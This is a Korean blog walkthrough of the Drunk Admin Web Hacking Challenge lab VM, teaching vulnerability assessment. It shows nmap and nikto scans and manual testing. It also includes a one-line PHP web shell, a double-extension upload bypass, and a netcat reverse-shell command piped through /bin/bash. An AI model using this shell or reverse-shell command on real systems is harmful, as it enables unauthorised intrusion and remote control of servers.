홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#웹해킹 훈련장 #웹해킹 실습 #웹쉘업로드 #웹쉘 #PHP 웹쉘 #A1-Injection #nmap #파일업로드 취약점 #실습설명서

Drunk Admin Web Hacking Challenge 실습 설명서

술취한 관리자(개발자) 웹해킹 도전 문제는 다양한 지식을 필요로 한다. 만약 이 문제가 실제 서비스라면 - 예를 들어 소수의 사람만이 공유하는 - 웹 포트를 인지하기도 어려워진다. 또한 확장자 검증을 우회하여 웹쉘을 올리는 작업도 경험이 많지 않다면 파악하기 어렵다. 마지막으로 웹서버의 설정을 제대로 파악하지 못하면 웹쉘을 올릴 확률은 또 낮아진다.

그럼에도 불구하고 이 훈련장은 휍취점분석 과정을 소개하기 알맞은 환경을 제공한다. 공개용 웹 취약점 점검 도구인 nmap, nikto, owasp-zap을 사용하여 자동점검을 수행하고 이어서 수동점검을 수행하는 과정을 소개한다.

Drunk Admin Web Hacking Challenge 훈련장은 VMWare를 기반으로 만들어진 가상머신이므로 VMWare Workstation Player가 미리 설치되어 있어야 한다.

참고할 바깥고리

Drunk Admin 압축파일 다운로드 및 VMWare 가상머신 실행

$ cd
$ mkdir DAWHC
$ cd DAWHC/
$ wget http://bechtsoudis.com/data/challenges/drunk_admin_hacking_challenge.zip
--2016-10-27 10:13:41--  http://bechtsoudis.com/data/challenges/drunk_admin_hacking_challenge.zip
Resolving bechtsoudis.com (bechtsoudis.com)... 192.185.5.163
접속 bechtsoudis.com (bechtsoudis.com)|192.185.5.163|:80... 접속됨.
HTTP request sent, awaiting response... 200 OK
Length: 565018338 (539M) [application/zip]
Saving to: ‘drunk_admin_hacking_challenge.zip’

drunk_admin_hacking_challeng 100%[=================================>] 538.84M  7.06MB/s  in 2m 6s   

2016-10-27 10:15:47 (4.29 MB/s) - ‘drunk_admin_hacking_challenge.zip’ saved [565018338/565018338]

$ unzip drunk_admin_hacking_challenge.zip
Archive:  drunk_admin_hacking_challenge.zip
   creating: drunk_admin_hacking_challenge/
  inflating: drunk_admin_hacking_challenge/drunk_admin_hacking_challenge.nvram  
  inflating: drunk_admin_hacking_challenge/pwnlab-03-cl2-s002.vmdk  
  inflating: drunk_admin_hacking_challenge/pwnlab-03-cl2.vmdk  
  inflating: drunk_admin_hacking_challenge/pwnlab-03-cl2-s001.vmdk  
  inflating: drunk_admin_hacking_challenge/pwnlab-03-cl2-s003.vmdk  
  inflating: drunk_admin_hacking_challenge/pwnlab-03-cl2-s005.vmdk  
  inflating: drunk_admin_hacking_challenge/pwnlab-03-cl2-s004.vmdk  
 extracting: drunk_admin_hacking_challenge/drunk_admin_hacking_challenge.vmsd  
  inflating: drunk_admin_hacking_challenge/drunk_admin_hacking_challenge.vmx  
  inflating: drunk_admin_hacking_challenge/drunk_admin_hacking_challenge.vmxf  
 extracting: drunk_admin_hacking_challenge/vmware.log  
$ vmplayer drunk_admin_hacking_challenge/drunk_admin_hacking_challenge.vmx &

* MS 윈도우 시스템에서는 압축을 풀고 drunk_admin_hacking_challenge.vmx 파일을 두번 딸깍
* MacOS에서는 위와 동일한 과정을 거치고 마지막에는 Finder에서 drunk_admin_hacking_challenge.vmx를 두번 딸깍

부팅 중에 보이는 메시지에서 IP를 확인할 수 있다. 여기서는 "192.168.106.136"이다. 다른 방법으로는 로그인 후에 다음과 같이 확인할 수 있다. Drunkadm 가상머신의 부팅이 끝나면 계정(drunkadm login)은 "root", 비밀번호는 "toor"를 입력한다. 명령행에서 ifconfig 명령어를 실행하여 Drunkadm의 IP 주소를 확인하면 된다.

drunk admin 부팅
[ Drunk Admin 가상머신 부팅 장면. IP = 192.168.107.136 ]

주 운영체제(Host OS)의 네트워크가 DHCP를 지원하지 않으면 Drunk Admin 가상머신은 인터넷 주소를 할당받지 못한다. 고정 공인 IP주소를 사용하는 경우에는 이러한 현상이 발생한다. 주OS가 WIFI로 연결된 경우에는 별다른 조치없이 정상적으로 IP주소가 할당된다.

VMware Guest network setting - NAT
[ Drunk Admin 가상머신의 네트워크 설정 변경: NAT로 ]

Drunk Admin 가상머신이 IP주소를 할당받지 못할 경우에는 위와 같이 손님 운영체제의 네트워크 설정을 NAT로 변경한 후에 손님 운영체제를 재부팅하면 사설IP주소가 할당된다. 개인적으로 웹해킹 실습을 하는 경우라면 손님OS의 네트워크를 NAT로 설정하는 것이 편리하다. 강의와 같이 다수가 접속해야 하는 환경이라면 동일한 WIFI를 사용하여 부팅하면 모든 사람이 Drunk Admin 가상머신에 접근할 수 있을 것이다.

Drunk Admin 훈련장 실습 과정 개요

홈페이지 취약점을 분석할 때는 웹검색엔진 등을 이용한 사전조사 작업을 진행하게 된다. Drunk Admin Web Hacking Challenge의 경우에는 웹에서 많은 정보를 얻을 수 있다. 예를 들어 구글에서 "Drunk Admin Web Hacking Challenge"를 검색하면 다수의 실습 설명서를 찾을 수 있다. 이 설명서들을 이용하면 다음 과정을 거치지 않고도 시스템에 침투할 수 있게 된다. (약간 다른 면이긴 하나, 많은 웹취약점분석 관련 문서들을 보면 이전의 홈페이지 취약점점검 결과 보고서 유출에 대한 문제를 중요하게 제시하기도 한다.)

사전조사 작업이 끝나면, nmap을 사용하여 Drunk Admin 가상머신에서 외부로 개방된 네트워크 포트를 스캔한다.

HTTP 또는 HTTPS 포트를 발견하면 nikto를 사용하여 웹 운영환경에서 발생하는 문제들을 스캔한다.

마지막으로 owasp-zap을 사용하여 디렉토리 구조 파악 및 웹 어플리케이션의 기본적인 취약점들을 탐색할 수 있다.

도구를 이용한 자동점검(nmap, nikto, owasp-zap)을 완료하면, 그 결과를 바탕으로 수동점검을 수행해야 한다. 수동점검은 자동점검에서 도출된 취약점들을 검증하는 작업과 자동점검에서 찾지못한 숨은 취약점을 탐색하는 작업이다. 숨은 취약점을 찾기 위해서는 대개 HTTP 규약에 따른 입력(input)과 출력(output)을 살피고 입력을 비틀었을 때 웹 서버(웹 어플리케이션)가 어떤 반응(출력)을 하는 지 살펴보면서 취약점을 진단하게 된다.

Nmap 실행 - 외부에 개방된 네트워크 포트 알아내기

칼리리눅스 손님OS에서 Drunk Admin 손님OS를 표적으로 하여 다음과 같이 네트워크 포트를 스캔한다.

root@kali:~# nmap -p- -v 192.168.107.136

Starting Nmap 7.01 ( https://nmap.org ) at 2016-11-02 14:40 KST
Initiating Ping Scan at 14:40
Scanning 192.168.107.136 [2 ports]
Completed Ping Scan at 14:40, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:40
Completed Parallel DNS resolution of 1 host. at 14:40, 0.01s elapsed
Initiating Connect Scan at 14:40
Scanning 192.168.107.136 [65535 ports]
Discovered open port 22/tcp on 192.168.107.136
Discovered open port 111/tcp on 192.168.107.136
Discovered open port 49282/tcp on 192.168.107.136
Discovered open port 8880/tcp on 192.168.107.136
Completed Connect Scan at 14:40, 1.65s elapsed (65535 total ports)
Nmap scan report for 192.168.107.136
Host is up (0.0014s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
111/tcp   open  rpcbind
8880/tcp  open  cddbp-alt
49282/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.73 seconds
root@kali:~# nmap -p22,111,8880,49282 -A -v 192.168.107.136

Starting Nmap 7.01 ( https://nmap.org ) at 2016-11-02 14:43 KST
NSE: Loaded 132 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 14:43
Completed NSE at 14:43, 0.00s elapsed
Initiating NSE at 14:43
Completed NSE at 14:43, 0.00s elapsed
Initiating Ping Scan at 14:43
Scanning 192.168.107.136 [2 ports]
Completed Ping Scan at 14:43, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:43
Completed Parallel DNS resolution of 1 host. at 14:43, 0.01s elapsed
Initiating Connect Scan at 14:43
Scanning 192.168.107.136 [4 ports]
Discovered open port 22/tcp on 192.168.107.136
Discovered open port 111/tcp on 192.168.107.136
Discovered open port 8880/tcp on 192.168.107.136
Discovered open port 49282/tcp on 192.168.107.136
Completed Connect Scan at 14:43, 0.00s elapsed (4 total ports)
Initiating Service scan at 14:43
Scanning 4 services on 192.168.107.136
Completed Service scan at 14:43, 11.02s elapsed (4 services on 1 host)
NSE: Script scanning 192.168.107.136.
Initiating NSE at 14:43
Completed NSE at 14:43, 0.62s elapsed
Initiating NSE at 14:43
Completed NSE at 14:43, 0.00s elapsed
Nmap scan report for 192.168.107.136
Host is up (0.00023s latency).
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 5.5p1 Debian 6+squeeze1 (protocol 2.0)
| ssh-hostkey: 
|_  2048 66:9a:ee:a2:2a:1a:59:47:b9:c5:50:da:a6:96:76:16 (RSA)
111/tcp   open  rpcbind 2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1          49282/tcp  status
|_  100024  1          54383/udp  status
8880/tcp  open  http    Apache httpd 2.2.16 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.16 (Debian)
|_http-title: Tripios
49282/tcp open  status  1 (RPC #100024)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1          49282/tcp  status
|_  100024  1          54383/udp  status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 14:43
Completed NSE at 14:43, 0.00s elapsed
Initiating NSE at 14:43
Completed NSE at 14:43, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.15 seconds
root@kali:~# 

Nmap의 기본적인 사용법은 다음과 같다.

# nmap -A -v 192.168.107.136 -oN 192.168.107.136-nmap-1000.txt
- 기본 1000개의 포트 스캔 후 결과를 txt 파일에 저장: Drunkadm의 경우 22, 111 포트만 보임

# nmap -p- -A -v 192.168.107.136 -oN 192.168.107.136-nmap-65535.txt
- 모든 포트(65525개) 스캔 후 결과를 txt 파일에 저장: 22, 111, 8880, 49282 포트 확인 가능.

Nmap으로 네트워크 포트를 점검할 때는 많은 시간이 소요되기도 한다. 그래서 nmap을 기본적으로 실행하면 널리 알려진 1000개의 포트만을 훑어본다. Drunkadm 손님OS의 경우에는 웹서비스 포트가 8880으로 이 1000개의 포트에 포함되지 않아서 -p- 설정을 통해 모든 포트(65535개)를 훑었을 때만 찾아낼 수 있다.

Nikto 실행 - 웹서버 설정/환경의 취약점 훑기

root@kali:~# nikto -host 192.168.107.136 -port 8880
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.107.136
+ Target Hostname:    192.168.107.136
+ Target Port:        8880
+ Start Time:         2016-11-02 14:54:00 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/2.2.16 (Debian)
+ Retrieved x-powered-by header: PHP/5.3.3-7+squeeze8
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie trypios created without the httponly flag
Illegal hexadecimal digit ';' ignored at /var/lib/nikto/plugins/nikto_headers.plugin line 106.
+ Server leaks inodes via ETags, header found with file /taT3TqFC.asp, inode: 0x723b2, size: 0x33, mtime: 0x4ba515bf8ec40;4bcb127742900
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php
+ Apache/2.2.16 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /info/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8348 requests: 0 error(s) and 16 item(s) reported on remote host
+ End Time:           2016-11-02 14:54:11 (GMT9) (11 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~# 

2. Nikto 점검
# nikot -host 192.168.107.136 -port 8880 -o 192.168.107.136-nikto-8880.txt
 - PHP easter egg
 - /info/
 - /icons/README (왜 중요한가? 다음 두 URL 비교)
   curl -v -X OPTIONS http://192.168.107.136:8880/
   curl -v -X OPTIONS http://192.168.107.136:8880/icons/README

3. OWASP-ZAP 점검
# owasp-zap (target: http://192.168.107.136:8880/)
 - X-Frame-set, HttpOnly 미설정 출력 (현재까지는 취약점으로 취급하지 않음)

4. 수동 점검
- 시스템 정보 노출(myphp.php?id=102)
 * id를 99, 101, 108 등으로 변경시 phpinfo() 결과 출력
 * disable functions: system, passthru, popen, proc_open, pcntl_exec,
                      shell_exec, fsockopen, python_eval, perl->system	
- 파일 업로드 취약점 (위의 두 해설서 참조)
 * 이미지 확장자 검증시 확장자 추출 루틴 따로, 이미지 인지 확인하는 루틴 따로...
 * 그래서 술취한 관리자!!! (취해서 코딩한 것이 틀림 없음???)
 * 이미지를 image.JPG.PHP로 올리면 됨
   (0) Web Shell: <?php echo $_REQUEST[1]($_REQUEST[2]) ?>
   (1) 이미지인지 검증에서는 .JPG가 사용되고
   (2) 확장자는 .PHP를 사용하는 술취한 취약점임.
   (3) system, passthru ... (x) -> 'exec' not in the list!!!!
 * 참고자료에는 나오지않으나 매우 쉽게 MD5 해쉬 값을 알 수 있는 취약점(cookie)
- 웹 쉘을 이용한 reverse connection
 * 내 PC의 terminal 1: nc -vv -l -p 7777
 * 내 PC의 terminal 2: nc -vv -l -p 8888
 * 웹 브라우저에서
   http://192.168.107.136:8880/images/[MyShellname here].php?1=exec&2=nc%20192.168.107.xxx%207777%20|%20/bin/bash%20|%20nc%20192.168.107.xxx%208888
 * terminal 1에서 명령어 입력하면 terminal 2에서 출력

5. 취약점 항목화
(01) 관리자 페이지 노출 취약점
(02) 디레토리 나열 취약점
(03) 시스템 설정 취약점
(04) WebDAV 취약점
(05) 불필요한 메소드 허용 취약점
(06) 취약한 파일 존재 취약점
  - /myphp.php?id=99,101,108
    * phpinfo() 결과에서 상세한 시스템 정보 노출
  - /icons/README
    * 기본 서비스 경로에서는 파악하기 힘든 HTTP 메소드 확인 가능
  - /~bob/index.php, /~bob/encrypt.php
    * 복호화, 암호화 과정 노출
  - /.proof (/~bob/과 연계시)
    * 사생활 노출???
(07) 계정관리 취약점
(08) 실명인증 취약점
(09) 전송시 개인정보 노출 취약점
(10) 파일 다운로드 취약점
(11) 파일 업로드 취약점
  - 이미지 업로드 어플리케이션의 확장자 검증 미흡으로 인한 PHP웹쉘 업로드 가능
    * 일반 사용자 권한(www-data)으로 시스템 침투 가능
(12) 소스 코드 내 중요정보 노출 취약점
  - /upload.php 헤더의 쿠키 값으로 업로드 한 이미지명 전송
    * Set-Cookie: trypios=c9e50a4ae5fe20e3a56ee8786022a1b8; expires=Tue, 28-Apr-2015 01:15:07
    * 저장한 이미지 이름에 대한 단서를 제공하고 있음
(13) 공개용 웹 게시판 취약점
(14) 크로스사이트스크립트 취약점
(15) SQL 인젝션 취약점
(16) 권한인증 취약점
(17) 에러처리 취약점

[Ref]
$ cat /proc/cpuinfo
  model name	: Intel(R) Core(TM) i7-3770 CPU @ 3.40GHz
$ cat /proc/meminfo
  MemTotal:        1034420 kB
-> i7 : quadcore hyperthreading cpu = 8 cores
--> VM guest with 1 cpu core and 1GB of RAM

[처음 작성한 날: 2016.10.27]    [마지막으로 고친 날: 2016.11.29] 


< 이전 글 : 가상머신 VMWare Workstation Player 설치 (2016.10.28)

> 다음 글 : 스마트에디터(SmartEditor) 2.0 Basic의 웹쉘 업로드 취약점 (2016.07.19)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문

.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ...... ... ... ] .. [ .../ ..../ ......./ .. ./// ../ ... .. ... .. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ./// ../ ... .. ... ...| ..../ ./ ... / ..| ....| ........ / ... / .... ...... ... ... ] .. [ .../ ..../ ......./ .....| ..../ ./ ... / ..| ....| ........ / ... / .... ...| ..../ ./ ... / ..| ....| ........ / ... / .... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .